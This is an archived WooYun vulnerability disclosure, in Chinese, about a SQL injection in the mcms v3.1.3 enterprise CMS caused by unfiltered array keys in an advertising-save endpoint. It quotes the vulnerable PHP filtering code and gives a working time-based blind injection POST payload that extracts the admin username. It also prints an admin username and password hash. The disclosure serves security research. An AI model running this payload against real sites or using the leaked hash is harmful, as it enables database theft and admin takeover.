当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0109345

漏洞标题:mcms最新版SQL注入(可出任意数据)

相关厂商:mcms.cc

漏洞作者: 路人甲

提交时间:2015-04-21 16:48

修复时间:2015-07-25 16:49

公开时间:2015-07-25 16:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-21: 细节已通知厂商并且等待厂商处理中
2015-04-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-20: 细节向核心白帽子及相关领域专家公开
2015-06-30: 细节向普通白帽子公开
2015-07-10: 细节向实习白帽子公开
2015-07-25: 细节向公众公开

简要描述:

mcms最新版SQL注入(可出任意数据)

详细说明:

掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。
注入一枚:POST /app/public/adv.php?m=save_all post中有6个参数存在注入。首先说明一下,这里POST的参数是一个二维数组,然后直接把第二维的数组代入了SQL执行,虽然使用了过滤函数,但是过滤函数对KEY无效。因此整个第二维数组的key都存在注入,而这里使用的表是mcms_adv,有area_id,title,area_type,area_remarks,area_html,area_status,这6个参数均可注入,看代码吧

function m__save_all() {
global $dbm;
$_GET=H::sqlxss($_GET);
$_POST=H::sqlxss($_POST);
$_POST['params'] = isset($_POST['params']) ? $_POST['params'] : array();
$id_str = '';
foreach($_POST['params'] as $v) {
unset($v[0]);
$area_id = $v['id'];
unset($v['id']);
$v['area_type'] = $v['area_type'.$area_id];
unset($v['area_type'.$area_id]);
$v['area_status'] = $v['area_status'.$area_id];
unset($v['area_status'.$area_id]);
if($v['title'] == '') continue;
if($v['area_type'] == 'code') {
$rs = $dbm->single_del(TB_PRE.'adv_img','area_id='.$area_id);
if($rs['error']) continue;
}
$rs = $dbm->single_update(TB_PRE.'adv',$v,'area_id='.$area_id);
$id_str .= $id_str == '' ? $area_id : ','.$area_id;
}
logs('编辑广告位 ('.$id_str.')',7);
die('{"code":"0","msg":"操作成功"}');
}


使用sqlxss()过滤,但是对KEY无效,代码如下

public static function sqlxss($input){
if(is_array($input)){
foreach($input as $k=>$v){
$input[$k]=H::sqlxss($v);
}
}else{
$input=H::escape($input,1);
$input=htmlspecialchars($input,ENT_QUOTES);
}
return $input;
}


对用户输入的内容先用H::escape过滤,再用htmlspecialchars过滤,我们再去看看H::escape

public static function escape($input, $urldecode = 0) {
if(is_array($input)){
foreach($input as $k=>$v){
$input[$k]=H::escape($v,$urldecode);
}
}else{
$input=trim($input);
if ($urldecode == 1) {
$input=str_replace(array('+'),array('{addplus}'),$input);
$input = urldecode($input);
$input=str_replace(array('{addplus}'),array('+'),$input);
}
// PHP版本大于5.4.0,直接转义字符
if (strnatcasecmp(PHP_VERSION, '5.4.0') >= 0) {
$input = addslashes($input);
} else {
// 魔法转义没开启,自动加反斜杠
if (!get_magic_quotes_gpc()) {
$input = addslashes($input);
}
}
}
//防止最后一个反斜杠引起SQL错误如 'abc\'
if(substr($input,-1,1)=='\\') $input=$input."'";//$input=substr($input,0,strlen($input)-1);
return $input;
}


虽然有以上的过滤,但是这几次过滤都没有对传入数组KEY进行过滤,而且是把用户传入的数组直接带入sql执行,并没有检查key是不是数据库的字段值。因此,这里的数组库的每个字段(用户传入数组的key)存在注入。
Payload:POST提交

params[0][]=&params[0][title]=%E6%89%8B%E6%9C%BA%E7%89%88%E5%B9%BB%E7%81%AF&params[0][area_type`%3d''/**/or/**/(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))/**/or/**/''#/**/]=img&params[0][area_remarks]=%E5%AE%BD320*%E9%AB%98160&params[0][area_status3]=1&params[0][id]=test


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图

错误副本.jpg


若正确,延迟,如下图

成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

过滤key

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-25 16:49

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无